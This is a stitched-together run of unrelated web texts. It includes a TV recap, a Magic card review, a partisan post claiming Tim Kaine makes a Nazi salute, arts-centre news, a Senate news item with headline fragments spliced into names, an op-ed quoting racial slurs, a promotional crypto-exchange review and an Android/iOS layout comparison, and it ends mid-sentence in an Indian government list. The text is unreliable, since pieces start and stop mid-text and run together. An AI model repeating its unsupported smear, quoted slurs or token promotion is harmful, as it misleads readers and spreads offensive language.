in front of the New York Times critics. While that image serves to make Kevin a better man for his family, it’s also crippling Kate to the point where she can’t talk about her father’s death with the man she’s supposed to marry. Their disturbing lack of knowledge about each other gave way to meaningful conversation between the two of them that illuminated Toby as much as it did Kate. He seems like this happy-go-lucky guy (“Why are you so jealous, Toby? You’re usually so confident and care-free and well hung.”). I like the added layer that this guy has his own issues to work out as well. Just as Jack’s perfect facade was broken down, so was Toby’s. Advertisement The one thing that bothered me about this episode came to an end: Duke. His parents own the camp so he can be a creepy stalker dick to campers? He’s a full-grown adult who still insists on acting like a petulant teenager because he’s got some fat camp parental complex (without even mentioning his similarities to Jared Leto). But Duke is out of the picture, he served his purpose of giving Kate and Toby a reason to be open and honest with each other in a way Jack and Rebecca likely should have been. I might be extrapolating because this episode put me in a good mood, but hopefully This Is Us, like it’s ensemble dramedy forefathers Parenthood and Friday Night Lights, can harness its larger cast to recalibrate when plots go off the rails. I’m not saying it’s the second season Tyra-Landry Murder Plot, but it’s a good sign that the show has the flexibility to cut plots off when they’re not working.The full Ixalan spoiler is finally out, and even if the final batch didn’t bring anything particularly exciting, we already plenty to think about. The double-faced cards, and specifically the cycle of legendary enchantments, are perhaps the most intriguing cards in the new set—and some of the hardest to judge. Not only is their concept fairly new, but they are legendary permanents that flip into a different kind of legendary permanent, making the deck building experience even more challenging. While they seem playable, I’m excited to find out how good they really are. It does seem like Wizards took every step to make sure they don’t get out of hand, though. They made each side legendary—they even printed Field of Ruin—but who knows? I’ve already heard multiple people call the blue, the white, and red ones the potential best cards in Ixalan. Let’s see if the hype is justified. Arguel’s Blood Fast I believe that Arguel’s Blood Fast was the first to be spoiled. The card might remind you of Greed, which was last reprinted in 7th Edition, and if my memory serves me right, didn’t see any played in Standard back then. Blood Fast is 2 mana cheaper, but also more expensive to activate. It also has the ability to flip into a land that might gain you some of the life back, and why not keep fueling a second Blood Fast? My initial impression is that you will be hard pressed to maindeck such a card in Standard, especially if Mono-Red is still one of the top tier decks. But is it that bad against Red even if you’re playing a bunch of creatures? You might not get to draw a single card off it, but Blood Fast might enable something like a turn-5 Noxious Gearhulk and keep you out of range of their burn spells later in the game. It could also be very powerful against control decks, backed up by something like Duress or Vraska’s Contempt for the few threats they have. Truth be told, when I started writing this article, I was planning on mentioning the card mostly as a sideboard threat against slow decks, having to compete with Sunset Pyramid or Glint-Sleeve Siphoner, but I’m not so sure anymore and I could see starting at least 1 or 2 copies in some kind of Blue-Black Reanimator deck or in a White-Black or Black-Red Midrange deck. It could even find a home in Blue-Black Control if you’re desperate enough to save your Scarab Gods from potential Vraska’s Contempts or even Ixalan’s Binding. Growing Rites of Itlimoc Growing Rites of Itlimoc was unveiled alongside Magic: The Gathering Arena and it struck me as borderline unplayable. For 3 mana, you get a worse effect than Commune with Nature or Oath of Nissa, so you really need to get value out of the flip side, at least some of the time. Having and keeping 4 creatures in play is no small task, and if that condition is met, you are probably in good shape anyways. And when you do manage to flip it, you need something to sink the mana into, meaning that you need to have enough cheap creatures to be able to flip it, as well as expensive spells to take advantage of Itlimoc, Cradle of the Sun. But the card might be a bit better than I give it credit for. You don’t necessarily need to get full value out of the Cradle part—maybe just an extra mana or two is enough to make it worth your while and some cards combine nicely with the green enchantment. Walking Ballista is a cheap creature, as well as a potential payoff card, the fabricate creatures are still around, and Sram’s Expertise could combine nicely to form the shell of a new W/G Tokens deck. As far a Modern Elves go, I think the card is probably a bit too slow and expensive, but still worth a shot. It would obviously have been much better if it flipped as soon you had 4 creatures in play. Search for Azcanta Next up is Search for Azcanta. If the first two didn’t seem that great to me, the blue one definitely caught my eye. The enchantment side isn’t very powerful, even though by itself it’s already a cheaper Think Tank, which is a very good Limited card, but never saw any Constructed play. The land side is really what it’s all about—you get to tap it, pay 3 mana, and Impulse for a noncreature, nonland card. It seems like the perfect fit for all of the control decks—a perfect 1- or 2- of that will provide you with a continuous flow of action cards in the late game (you’ll most likely be hitting over 90% of the time if you’re not playing too many creatures) while helping you out a tiny bit in the early game. I’m guessing you’ll be able to flip Search on turn 6 or 7 if you’ve just cast it, and maybe as soon as turn 4 or 5 if you played it on turn 2. It looks great on paper, and it will most likely perform in slow matchups, but I’m still a bit skeptical about how the card will play out against aggressive strategies. If you’ve played control in Standard recently, you know that you can’t afford to have too many “bricks” in your hand against a deck like Red or Temur Energy, and usually need to curve out with removal spells and counterspells until you drop The Scarab God or a Torrential Gearhulk, so it’s unclear how many copies of Search for Azcanta you’ll be able to fit into your deck. I also wonder if the blue legendary enchantment is really what a control deck like blue-black is looking for. You already have a less clunky card advantage engine with Glimmer of Genius and Gearhulk, as well as what might be the best mana sink in the format in the form of The Scarab God. It’s possible that the card will be too good in certain matchups
Shameful. Dem VP Candidate Tim Kaine Gives Nazi Salute on Cover of Book Titled “Stronger Together” Hillary Clinton’s latest book made news today. “Stronger Together” by Hillary Clinton and Tim Kaine sold only 3,000 copies. Tim Kaine is giving the Nazi salute. On the cover of a book titled, “Stronger Together.” As Cassandra Fairbanks noted: Wall Stree will pay over over $250,000 for her to speak but they can’t find 3,000 people who were willing to pay the $7 for the book. Wall St will pay >250K for her to speak for an hour — yet 3,000 people weren’t even willing to pay $7 for her book. https://t.co/ElLvYYv2Jv — Cassandra Fairbanks (@CassandraRules) September 15, 2016 The reviews on Amazon were brutal. 64% of readers panned the book giving it a 1 out of 5 rating.The arts organization WonderRoot has announced a significant expansion. The nonprofit arts and service organization has occupied its current space, a 4,000-square-foot house on Memorial Drive, since 2008. Next year, it plans to move across the street into the 52,000 square-foot building that was formerly Tech High Charter School. The group plans to call the new space the WonderRoots Center for Arts and Social Change.Interview with WonderRoot executive director Chris Appleton that aired Tuesday, August 12, 2014 Last night, the Atlanta Public Schools Board of Education voted to permit the nonprofit arts and service organization to re-purpose the building under a 20-year lease. WonderRoot executive direction Chris Appleton told WABE that the new space will allow the nonprofit to significantly expand what it does. The group plans to use about half the new space to runs its programming. It will lease the other half out to individual artists. There are plans for a recording studio, darkroom, digital media lab, printmaking studio, ceramic studio, and dance rehearsal studio. The group is also planning a performance hall, art gallery, cafe, education space, and community event space. When asked the reasons for the move, Appleton says the group has simply outgrown its original building in a number of ways. “There’s more demand on the space than the square footage allows.” He also says the WonderRoot brand has outgrown the old purple house’s charm. “When people participate in WonderRoot programs outside of the arts center, and then come to the building, the two stories don’t necessarily match up anymore.” Appleton says the expansion will also help allow the organization to evolve its working model. Since its founding in 2004, the group has received about 75% of its income from contributed dollars. With the renovation, the group hopes to change that, getting most of its dollars from artists renting its new arts spaces. The group also plans to expand its staff from the current eight to about 16 employees. WonderRoot estimates the costs for renovation of the 92-year-old high school will approach three million dollars. Following a fundraising campaign and renovations, the WonderRoot Center for Arts and Social Change plans to open its doors in 2015. WABE’s broadcast license is held by the Atlanta Board of Education.Sen. Dianne Feinstein Dianne Emiel FeinsteinHillicon Valley: Senators urge Trump to bar Huawei products from electric grid \| Ex-security officials condemn Trump emergency declaration \| New malicious cyber tool found \| Facebook faces questions on treatment of moderators Ocasio-Cortez adviser says Sunrise confrontation with 'old-timer' Feinstein'sad' Key senators say administration should ban Huawei tech in US electric grid MORE (D-Calif.) said Wednesday that former national security adviser Susan Rice should reconsider her decision not to testify before a Senate panel. "I think she ought to consider it," Feinstein, the top Democrat on the Senate Judiciary Committee, said on MSNBC's "MTP Daily," explaining that Rice has already defended herself in the press. "She has gone public. I saw her on Fareed’s show Sunday. I saw her today," Feinstein said. President Trump accused Rice last month of improperly requesting the identities of members of his transition team that were incidentally swept up in intelligence collections last year. ADVERTISEMENT Appearing Sunday on CNN's "Fareed Zakaria GPS," Rice denied that she did anything "untoward" with the intelligence that she received while serving in the Obama White House. Sen. Lindsey Graham Lindsey Olin GrahamHouse to push back at Trump on border Trump pressures GOP senators ahead of emergency declaration vote: 'Be strong and smart' This week: Congress, Trump set for showdown on emergency declaration MORE (R-S.C.), however, said Tuesday that he wanted Rice to testify before the panel's subcommittee on crime and terrorism, which he chairs, as part of a wider congressional probe into Russian efforts to meddle in the 2016 presidential election. But a lawyer for Rice wrote in a letter to Graham and the subcommittee's top Democrat, Sen. Sheldon Whitehouse Sheldon WhitehouseThis week: Congress, Trump set for showdown on emergency declaration Senate reignites blue slip war over Trump court picks Democrats brush off GOP 'trolling' over Green New Deal MORE (R.I.), on Wednesday that Rice would not appear before the panel, saying Whitehouse had not agreed to the initial invitation. Feinstein appeared skeptical of that argument. "I’ve never heard that it has to be a bipartisan letter — this is sort of a new criteria," she said. The California Democrat also argued that Rice had all but given up her ability to distance herself from the matter by appearing on news shows to publicly defend herself against the unmasking allegations. "She’s certainly within her rights of saying, 'I’m now retired, I’m not going to do it,' " Feinstein said. "But because she went forward and did press, I would hope she would consider doing it."There are three certainties in life: death, taxes, and that in the hours following a terrorist attack, Republicans will cry, “The time has come for Muslim leaders to stand up and say something.” In swallowing a dose of their own medicine, isn’t it high time Republican Party leaders stand up and say something about Nazi era racial epithets that are all too commonly used by the conservative base? In recent years, rather than denounce racism, the Republican Party has established a disturbing trend of embracing racists. Now it’s one thing when your average Joe Schmo calls the President a Muslim, but it’s another when a high profile figure, one whose endorsement is actively sought by Republican candidates, calls Obama a “subhuman mongrel.” This week, while campaigning for Republican Texas gubernatorial candidate Greg Abbott, a video surfaced of Ted Nugent’s most recent racist rant: “I have obviously failed to galvanize and prod if not shame enough Americans to be ever vigilant not to let a Chicago communist-raised, communist-educated, communist-nurtured subhuman mongrel like the ACORN community organizer gangster Barack Hussein Obama to weasel his way into the top office of authority in the United States of America.” Nugent’s vulgarity now joins a catalogue of outrageously racially charged obscenities hurled by the one hit wonder from the 70s. Nugent referred to Trayvon Martin as “gangster wannabe” who had a blood lust. In a 2010 op-ed in the Washington Times, Nugent wrote, “If Islam is the religion of peace, then I’m a malnourished, tofu-eating anti-hunter.” He went on to say, “But not all Muslims are religious whacks who deserve a bullet.” Ok, in his defense, he did say, “Not all.” Now if you expected the Texas Attorney General Abbott to put as much distance between himself and Nugent as there is distance between Mecca and Obama, then you’d be sorely mistaken. At a Tuesday campaign event, Abbot praised Nugent as “a fighter for freedom in this country.” Abbott, when asked about Nugent's comments, said that he was unaware of them — including when specifically asked about a 2008 appearance on Fox News in which Nugent was asked if he would want to kill people who come illegally into this country. Two days after Nugent’s rant went viral, Sarah Palin provocatively tweeted, “If Greg Abbott is good enough for Ted Nugent, then Greg Abbott is good enough for me.” When Duck Dynasty’s Phil Robertson claimed black people happily sang their way through the days of segregation, not only did no one on the Right denounce him, but everyone from the House Speaker to the Louisiana governor embraced the reality television star. Sen. Ted Cruz cried, “If you believe in free speech or religious liberty, you should be deeply dismayed over the treatment of Phil Robertson. He expressed his personal views and his own religious faith; for that, he was suspended from his job. In a free society, anyone is free to disagree with him — but the mainstream media should not behave as the thought police censoring the views with which they disagree.” Racism on the far right is not only confined to the party’s cheerleaders. Elected officials and legislative staffers have established a disturbing pattern of directing racial slurs at President Obama and the First Lady. During the 2008 campaign, Rep. Doug Lamborn called Obama a “tar baby.” A Republican activist in South Carolina compared Michelle Obama to a gorilla, and a Republican newsletter in California depicted candidate Obama surrounded by fried chicken, watermelon, and food stamps. The Southern Poverty Law Center reports that since 2000, the number of hate groups has increased by 67 percent. “This surge has been fueled by anger and fear over the nation’s ailing economy, an influx of non-white immigrants, and the diminishing white majority, as symbolized by the election of the nation’s first African-American president.” So there’s a reason why the Republican Party won’t denounce racism: it can’t! At least not while nearly half of all Republicans still believe Obama was born outside of the United States, and another half believe he’s a secret Muslim. Lest we forget that the reason not a single elected Republican official accepted the invitation to attend the 50th anniversary of Dr. Martin Luther King’s March on Washington was out of fear of being primaried from the right. This is telling! Party leaders are certainly not going to speak down to the racist elements among the base in a mid-term election year where voter turnout is typically older and whiter. A Nevada state representative even predicted 2014 would be a “good year for Republicans because minorities don’t vote.” Author and political analyst Earl Ofari Hutchinson writes, “The loud chorus from other Democrats, civil rights leaders, and even an online petition from an advocacy group begging the GOP to speak out against its naked bigots is a good preaching to the choir, PR gambit but it won’t change anything at the GOP top.” Hutchinson adds, “The GOP would cut its throat if it denounced its racists and racism, and really meant it. The shouts, taunts, spitting, catcalls, joker posters, N word slurs, Confederate and Texas Lone Star flag waving, by tea baggers is and has been an indispensable political necessity for the GOP.” The problem for moderate and reasonable Republican leaders is the party’s base looks and sounds all too much like Ted Nugent and Phil Robertson, and they know it. That’s why right wing political operatives train their clients to use carefully crafted code words and phrases like “welfare queen,” “entitlement society,” and “food stamp president.” Of course, another favorite is “states’ rights.” The late Lee Atwater, a right wing campaign consultant, explained how Republicans could win the vote of racists without sounding racist themselves: You start out in 1954 by saying, “Nigger, nigger, nigger.” By 1968 you can’t say “nigger”—that hurts you, backfires. So you say stuff like, uh, forced busing, states’ rights, and all that stuff, and you’re getting so abstract. Now, you’re talking about cutting taxes, and all these things you’re talking about are totally economic things and a byproduct of them is, blacks get hurt worse than whites.… “We want to cut this,” is much more abstract than even the busing thing, uh, and a hell of a lot more abstract than “Nigger, nigger.” The language of GOP racial politics is heavy on euphemisms that allow the speaker to deny any responsibility for the racial content of his message, but even when the language is clearly and overtly racist, the GOP either pretends it didn’t hear it or instead deflects it. Newt Gingrich was asked by CNN to comment on Nugent’s Nazi era like comments. The former Republican House Speaker called it “selective media outrage.” Deflect. It didn’t happen. The GOP’s key dilemma right now is that it has to be a party that throws red meat to people like Ted Nugent while at the same convincing independents and urban moderates that it’s nothing like Ted Nugent. All this while at the same time calling on moderate Muslims to denounce extremists among their ranks. CJ Werleman is the author of Crucifying America, and God Hates You. Hate Him Back. Follow him on twitter: @cjwerlemanMeet the Ambitious Binance Competitor with Teeth, Coss.io (COSS) Reception to the recent debut of a brand-new exchange, COSS, has been very positive. COSS, an acronym for Cryto-One-Stop-Solution, sets out to achieve exactly what its namesake suggests: to become a one-stop shop for all things cryptocurrency related. COSS aims at two fundamental issues in the cryptocurrency market: Explosive growth within the crypto market within a short period of time has provided several growing pains. The mass influx of users, a large percentage of which are new to the scene, as well as the booming number of ICOs have resulted in a difficult setting for beginners to educate themselves and gather information. Another one of the major current obstacles for mainstream adoption for cryptocurrency is a lack of user-friendliness. An individual would have to register on an exchange, create a wallet, then convert fiat to either Bitcoin or an alternative, often on multiple sites. The Platform and Future COSS presents itself as a solution by building a platform “designed specifically to inform and educate users about the variety of coins, helping them to make an informed choice, and providing multiple possibilities to use digital currency, all in the same place.” COSS also aims to shape a foundation for all crypto users: companies, startups, traders, customers and merchants alike, building an ecosystem to boost mass adoption: “The platform gathers the most popular cryptocurrency services and products into one portal allowing users to gain control over their finances, to manage transactions, to integrate merchants’ payments, to deposit funds and so much more.” COSS’s system “consists of a payment gateway / POS, an exchange, a merchant list/platform, market cap rankings, a marketplace, an e-wallet, various coin facilities and a mobile platform. The COSS platform unifies all transactional aspects that are usually managed by means of FIAT money, and offers multiple cryptocurrency-related services in one place. The list of potential features of the platform can be infinitely extended, and will continue growing as the platform evolves.” Figure 1: Platform Flow Chart Project Background COSS has been in development since Jan ’16 and recently finished Phase 2. The project is still under active development. Upcoming Phase 3 will see COSS reaching out to create partnerships with companies from fintech- and blockchain-related areas. Mergers, incorporation, and development of new features are also on the roadmap. COSS aims to evolve and adapt to the crypto industry: “In order to expand, COSS aims to implement 3-5 new features each quarter, and apart from following its long- and short-term goals intends to make new partnerships constantly, adding new products and services that can help to extend the functionality of the platform.” Upcoming Features Smart Contracts Smart Contracts as a Service (SCaaS) is a segment of COSS, which allows businesses to create and execute smart contracts within its system in order to simplify and automate their actions. SCaaS has potential to become as popular as SaaS (Software as a Service) in terms of its adoption within businesses and has been predicted to advance functionality within a wide range of sectors, such as crowdfunding, p2p funding, healthcare, escrow, insurance, and voting. DAO In the future, COSS will become autonomous, decentralized, and run or managed as a DAO: “In a simplified way, DAO is a computer program, run by a peer-to-peer network, in which the governance and the decision-making is prescribed by the code or the pre-programmed smart contracts. DAOs can be set to operate autonomously, without human involvement, implying that the code can provide the direct, real-time control of the DAO and the funds stored on it.” “Because of their decentralized governance, DAOs have no central point of failure, representing the new generation of organizations and businesses that can be turned into DACs (Decentralized Autonomous Corporations and/or Companies). In the future, the COSS system will also allow creating DAOs for and by other customers as one of its added features.” Security Figure 2: Wallets System To provide a safe and user-friendly environment, COSS takes security very seriously. Transactions are managed with 3 types (hot/warm/cold) of wallets. Hot wallets hold funds only for a limited amount of time. As transactions are confirmed, funds will be moved to warm wallets. Warm wallets are located on a separate server, with all security measures required: “all communication ports except for the blockchain synchronization ones are blocked, no user has access to the server directly, the wallet’s password is encrypted, etc.” Further, only a limited amount of funds can be stored. Cold wallets are stored on air-gapped PCs. They have no Internet connection and transactions are processed manually by financial managers. Most funds are stored here. Another security mechanism that is set in place tracks all logins/IP/alt accounts/trading history/withdrawal & deposits to comply with Anti-Money-Laundering rules: “COSS implements services from CoinFirm, a company that offers AML blockchain solutions. All incoming transactions on COSS are screened, and if the receiving users’ wallets have ever been involved into any illegal activities, the deposited funds will be rejected. This advanced security feature guarantees the COSS customers their trading safely.” This will isolate inappropriate activities (scammers/hackers/criminal) elements from COSS’s ecosystem and protect its user base. Merchants The merchant platform on COSS aims to facilitate a relationship between crypto businesses and clients, to perform the role of a middleman in the massive cryptocurrency adoption, and build a marketplace. Users can search/filter merchants based on their needs. As of launch, COSS has already accumulated a browsable large list of merchants and businesses from various countries. To support this, COSS boasts a feature-filled payment gateway. It supports multiple currencies, integrates the exchange rates, has speedy KYB process, reporting, integration and payment mechanisms: The payment gateway offers COSS users multiple exchange rates from fiat to crypto currencies. Upon its launch, the input currency list at the COSS platform was limited to: EUR, USD, the Singapore Dollar (SGD), the Malaysian Ringgit (MYR), the South Korean Won (KRW), and the Romanian Lei (RON), and can be extended upon user request. Fast and secure KYB (Know-Your-Business) process, allowing merchants to rest assured that the validation of their branches will not take long. Reporting tools within merchant platform are aimed to simplify merchant accounting. The COSS payment gateway integration takes less than 1 development hour with the COSS scripts. Payment buttons and links for merchants who don’t have a web shop. The payment link is a merchant tool which allows quick online receipt of payments for products. The payment link is generated from the merchant’s profile. The 3rd party plugins such as WordPress WooCommerce and Magento to accept cryptocurrency payments. Trading Engine COSS’s exchange platform is built upon a custom-developed trading engine. This engine communicates with the web server through an internal API. This allows the trade to take place in real time. Trading pairs are managed on the back end, and admins will be able to add new pairs, set up dynamic fees for each currency, etc. The COSS exchange offers both Limit and Market Orders. Orders will be able to be filled partially. The token COSS offered will enable “owners to receive revenues in the form of transaction fees charged by the COSS system for cryptocurrency transactions” as its incentive. The revenues generated from withdrawal fees, transaction fees, and payment gateway will be transferred to COSS token holders on a weekly basis. All users start with a standard trading fee of 0.2%, and as trading volume increase, the fee gradually declines to as low as 0.04%. The COSS merchant platform operates on a 0.75% fee derived from each transaction. 50% of this revenue is shared with COSS token owners. Funding What has been most impressive about this far reaching project is that it has been 100% self-funded. It did not rely on any external investments prior to and upon its launch. With a sizable team consisting of many members who have many years of experience in their field and an equally large board of advisors, COSS seems to be very confidently backed by a solid crew, as its many partnerships show. COSS has recently signed a co-op between itself and Digital Developers Fund (DDF), allowing startups launching on COSS direct exposure to a fund with possible financing. Growth COSS’s distribution plan heavily emphasizes and reflects its goals: 50% – IT Development, User Experience, Roadmap Completion 25% – Mergers and Acquisitions 10% – Marketing Plan 10% – Operations 5% – Shareholders, Board of Directors, Advisors Market Cap Currently CoinMarket Cap (coinmarketcap.com) lists COSS with a circulating supply of 23,678,963 COSS a total supply of 80,000,000 COSS. Syndicate member Sam confirmed with user “coss-rune” in their Slack channel that the circulating supply is supposed to be 93,000,000, which alters the market cap of the asset at the time of this report to $16,452,909 USD. At this time, we are still researching, but we’ve been told that there has been a claim submitted to coinmarketcap.com by COSS to have the correct volumes listed shortly. Partners Eva Energy – a subscription-based energy-supply company from Romania dedicated to delivering integrated utilities – electricity and natural gas to industrial and domestic customers since 2012. On COSS.IO, Eva Energy is soon to introduce billing for gas and electricity in cryptocurrency. CardBlue – a Romania-based provider of prepaid MasterCard and the associated services. CardBlue is soon to issue COSS prepaid cards for easy deposit/withdrawal of cryptocurrency, conversion into cash, and to enable payments in physical stores. Civic (CVC) – a platform that provides identity theft protection by means of multi-factor authentication, a third-party authenticator, and a physical hardware token. Civic login is soon to be implemented on COSS. ICO Rating – a rating agency that has developed a system helping to analyze ICOs, greatly contributing to the growing ICO market. ICO Rating will soon collaborate with COSS to put ICO services to the next level. Figure 3: Partners Social Media Analysis A dig into social media platforms turned up several opinions about COSS. Most are of a positive nature and hopeful for the future success of COSS. However, many have also expressed concerns about COSS being affiliated with VEROS. VEROS has been labeled a scam and leaves people wary to invest in COSS by affiliation. https://steemit.com/cryptocurrency/@exdev/veros-the-cryptocurrency-a-scam http://behindmlm.com/mlm-reviews/excallit-review-veros-cryptocurrency-pump-dump-altcoin-scheme/ Dan Cearnau, co-founder of COSS, tweeted that he developed VRS, and naturally, that was the trigger: https://www.reddit.com/r/COSS/comments/74c0rt/dan_cearnau_ceo_of_vrs_and_cofo… However, user “mpolaa” responded: “This was cleared up by Rune in the slack channel. [In response to someone asking about the connection]” “I think it is fair also. And it has been explained multiple times. VRS was developed by some of the same dev team and (sic) our consultancy company assisted in creating marketing plan for an affiliate program. The intention was for it to be used by the affiliate system to reward its members for onboarding merchants. The business model wasn’t sustainable, and COSS decided to create its own 1-tier affiliate program by itself (known as CAP). The VRS was also modeled in a completely wrong way where the affiliate program paid (sic) for the gas for transactions and not the users. This didn’t look like the problem at the time with an ETH price of less than 10 dollars. But over time that cost way surpassed the business model and made it unsustainable. Just because you try (as Pariah) put it, and it turn out not to work doesn’t make it a scam. But there are still VRS holders out there, and that is why we haven’t delisted the token yet. And it is also listed on a couple of other exchanges.” Still, a minor but red flag nonetheless; proceed with caution. Insinuations aside, COSS was just ranked the highest potential investment project around by ICO Rating, an auditing agency located in Russia and Spain. The company is specialized in evaluating companies. On August 4th, it issued an auditing report of C.O.S.S. PTE LTD (aka COSS) from Singapore on its website and social media ranking it as Stable+, the highest of its evaluation marks. Contributors CryptoSyndicate Enrique (@nrek) – Swarm Study, Product Analysis Duy (@duyizalilazn) – Blind Study, Fundamental Analysis Snowy1nl (@snowy1nl) – Swarm Study, Market Analysis Syndicate Members Aboogee (@aboogee) Adam (@Stun) Koby (@Kobx) Mohammad (@Finalizer) Pr0fessorx (@Pr0fessorx) Sam (@SamBRoberts) Resources Sources Download Report (PDF)ConstraintLayout vs Auto Layout: How Do They Compare? Children of Cassowary Cassowary is a bird that lives in the tropical forests of New Guinea and mostly eats fruit. It is also the name of the algorithm and software for solving systems of linear equations and inequalities, developed in the 1990s at the University of Washington. It turns out that linear equations are really well suited for specifying the parameters of user interface elements, namely, the positions and sizes of views, their relationships to each other, etc. Instead of painstakingly crafting artisanal, bespoke, pixel-perfect-but-not-adaptable user interfaces, the UI can be defined by declaring how its elements are positioned with respect to each other. Cassowary’s contribution was the efficiency with which it could solve all those equations. Since people are very sensitive to the smoothness of graphics, speed of rendering the UI is very important. In 2016, both iOS and Android have first-party layout systems based on Cassowary. This explores ConstraintLayout and compares it to Auto Layout. Constraints A constraint is a rule that specifies of how properties of views relate to each other. For example, we might want the views to be aligned along their top edge. Rather than manually setting their vertical position to be equal to the same number, the constraint would simply state that their top edges must be equal to each other, like so: view1.top = view2.top. Top aligned iOS Top aligned Android More generally, a constraint defines the relationship between properties of views, called anchors, in an expression of this form (shown here as an equality, but inequalities can be used, too): view1.attribute1 = multiplier * view2.attribute2 + constant To translate these constraints into actual positions and sizes, the constraint solver applies the Cassowary algorithm to find the solution. In the illustration above, the top positions of the views are set up as follows: view1.top = view2.top view1.top = container.top + constant Since the container size and position are known, the second expression gives us the solution for view1.top, and, consequently, the solution for view2.top. Anchors Many of the same anchors exist in both Auto Layout and ConstraintLayout. Both have top, bottom, baseline, left, and right. There is a slight terminology difference for the internationalization-friendly anchors: leading and trailing for Auto Layout vs start and end for ConstraintLayout. Auto Layout also has centerX and centerY, which are missing from the current version of ConstraintLayout. The same centering effect can be achieved in ConstraintLayout with other mechanisms, such as the guidelines or using both left and right constraints. In addition, ConstraintLayout defines the begin and percent anchors exclusive to guidelines. Android iOS top top bottom bottom left left right right start leading end trailing centerX centerY baseline baseline Guidelines, Layout Guides and Margins Auto Layout provides the top and bottom layout guides that help with aligning views to the top or the bottom of the screen. They adapt to the presence of various bars at the top or bottom of the screen: status, navigation, tab, tool, and active call/audio recording. Some of these can appear dynamically (e.g., active call), others are determined at the time the view controller is presented (e.g., pushing the view controller onto the navigation stack). There are also layout margins on the sides that allow views to keep a certain distance from the edge of the screen. Interface Builder allows adding horizontal and vertical guides, but they’re not actual views, they only exist during editing. Constraints cannot be defined in terms of edit-time-only guides. ConstraintLayout guidelines, on the other hand, are first-class citizens. They’re special non-rendering views, permanently View.GONE from sight, but playing an important role in layout. They show up as vertical or horizontal lines in the UI and can be set at either a fixed position or a fixed percentage from an edge. For example, a vertical guideline that goes through the center of the screen would look like this: <android.support.constraint.Guideline... android:orientation="vertical" app:layout_constraintGuide_percent="0.5"/> Defining Constraints Like other layouts, ConstraintLayout defines its own LayoutParams, which its children can use to specify their position and sizing. Constraints are created by using layout params of the form app:layout_constraintAnchor1_toAnchor2Of="@id/view2". As a result, ConstraintLayout’s constraints are one-way and directed out of one view to another view. On iOS constraints are separate objects. They are defined in the view that’s the closest common ancestor of the views that are related by it. For example: Width and height are defined in the view itself, since it’s the “closest common ancestor.” Constraints between a view and its parent are defined in the parent. Constraints between siblings are defined in the parent. Auto Layout scales priorities from 0 to 1000, where 1000 means absolutely required and lower priorities mean those can be broken sooner. ConstraintLayout doesn’t have explicit priorities, every constraint is required. Mental Model With Auto Layout, each view needs to have enough constraints to determine its vertical and horizontal position and size. For some Views, their intrinsic size may serve as the constraint for size (width and height). A UILabel (usually a single line of text) typically only needs the position constraints, for example, center horizontally in container, and standard distance from top. A UIImageView can also infer its size from its contents, but depending on the source of the image, it may not behave as expected at the design time, so it may need to add explicit width and height constraints. Alternatively, it may be anchored to the inside of its container. In ConstraintLayout, all views typically have one of three size specifications for width/height: wrap_content, which has the same meaning as in other layouts. Roughly equivalent to intrinsic content size in Auto Layout. , which has the same meaning as in other layouts. Roughly equivalent to intrinsic content size in Auto Layout. Fixed width, set to a specific dp value. Toggling the size control to this setting will result in the editor inserting the current dp size of the view. This is the same as setting an explicit dimension (width or height) constraint in Auto Layout. value. Toggling the size control to this setting will result in the editor inserting the current size of the view. This is the same as setting an explicit dimension (width or height) constraint in Auto Layout. “Any size” ( 0dp ) will cause the view to occupy the remaining space while satisfying the constraints. Anchor compatibility: ConstraintLayout ConstraintLayout allows only legal combinations of anchors for constraints. The anchors must be of the same “type”. The type mainly represents the axis (vertical or horizontal), but there additional subtleties. For example, the i18n-friendly (Start/End) and legacy (Left/Right) anchors cannot be mixed. Furthermore, baselines can only be constrained to other baselines. Finally, baseline and top/bottom are mutually exclusive and addition of a new constraint will result in the removal of the other. For example, if a TextView was already baseline-aligned to another view, adding a top constraint will remove the baseline constraint. This rule is enforced by the XML schema that defines only legal layout attributes (e.g., layout_constraintBaseline_toBaselineOf ) and within the ConstraintLayout itself. Anchors Type Baseline Vertical (Text only) Top, Bottom Vertical Start, End Horizontal (1) Left, Right Horizontal (2) ConstraintLayout exposes the baseline anchor, whereas LinearLayout has baselineAligned turned on by default and RelativeLayout has align_baselineTo. Anchor compatibility: Auto Layout Auto Layout uses different classes in order to enforce compatibility when specifying the constraint programmatically. All these classes are subclasses of the generic NSLayoutAnchor class declared as follows (using Swift notation): class NSLayoutAnchor<AnchorType : AnyObject> : NSObject {... func constraint(equalTo anchor: NSLayoutAnchor<AnchorType>) -> NSLayoutConstraint... } Subclasses use themselves as the generic constraint, for example: class NSLayoutXAxisAnchor : NSLayoutAnchor<NSLayoutXAxisAnchor> { Such declaration enforces correctness of the constraints through the language’s type system (in both Swift and Objective-C). Anchors Type Class Baseline Vertical (Text only) NSLayoutYAxisAnchor Top, Bottom Vertical NSLayoutYAxisAnchor Leading, Trailing Horizontal (1) NSLayoutXAxisAnchor Left, Right Horizontal (2) NSLayoutXAxisAnchor Width, Height Dimension NSLayoutDimension NSLayoutAnchor defines methods that create NSLayoutConstraint s with another anchor and an optional constant, i.e., constraints of the forms anchor1 <REL> anchor2 or anchor1 <REL> anchor2 + constant, where <REL> is “equal”, “less than or equal”, or “greater than or equal”. While NSLayoutXAxisAnchor and NSLayoutXAxisAnchor do not define any extra methods over NSLayoutAnchor, their sibling NSLayoutDimension adds several methods to expand expressive power. The added NSLayoutDimension methods make it possible to express constraints of the form anchor1 <REL> constant and anchor1 <REL> multiplier * anchor2 + constant. Conclusion ConstraintLayout joins a growing number of UI systems that use the Cassowary constraint solver algorithm. Despite the common foundation, the implementations may differ in the specifics. Auto Layout and ConstraintLayout use some of the same mechanisms and even terminology, like anchors and constraints, but vary in their approaches to the API. Since ConstraintLayout is still very young, there are many exciting possibilities for its evolution. Resources Other Articles on ConstraintLayout1. “NDA government in action” is a social media campaign. It could well have been done through the PIB as well. 2. The commerce department is working on a five-year plan towards regional integration — a typical PIB-like story the department missed. 3. The prime minister on Saturday directed the Health Ministry to increase the size of the pictorial warning on tobacco packs to 65 per cent and not to take into account the views of people with conflict of interest. 4. The government had announced construction of two crore houses annually to meet the target, but Modi, who is monitoring the scheme, has instructed the Urban Development and the Housing and Urban Poverty Alleviation Ministries to verify if more houses should be built. This happened in February, but the interaction never surfaced on the PIB site; it appeared in The Hindu in March-end. 5. The Ministry of Petroleum and Natural Gas on Saturday urged liquefied petroleum gas (LPG) consumers to give up their LPG subsidy and join the ‘Give It UP’ movement. The ambitious programme announced by Prime Minister Narendra Modi has seen 290,000 consumers give up their subsidy till now. Advertisement 6. The BJP-led NDA government’s pet project Global Initiative of Academic Networks (GIAN) will be launched by Prime 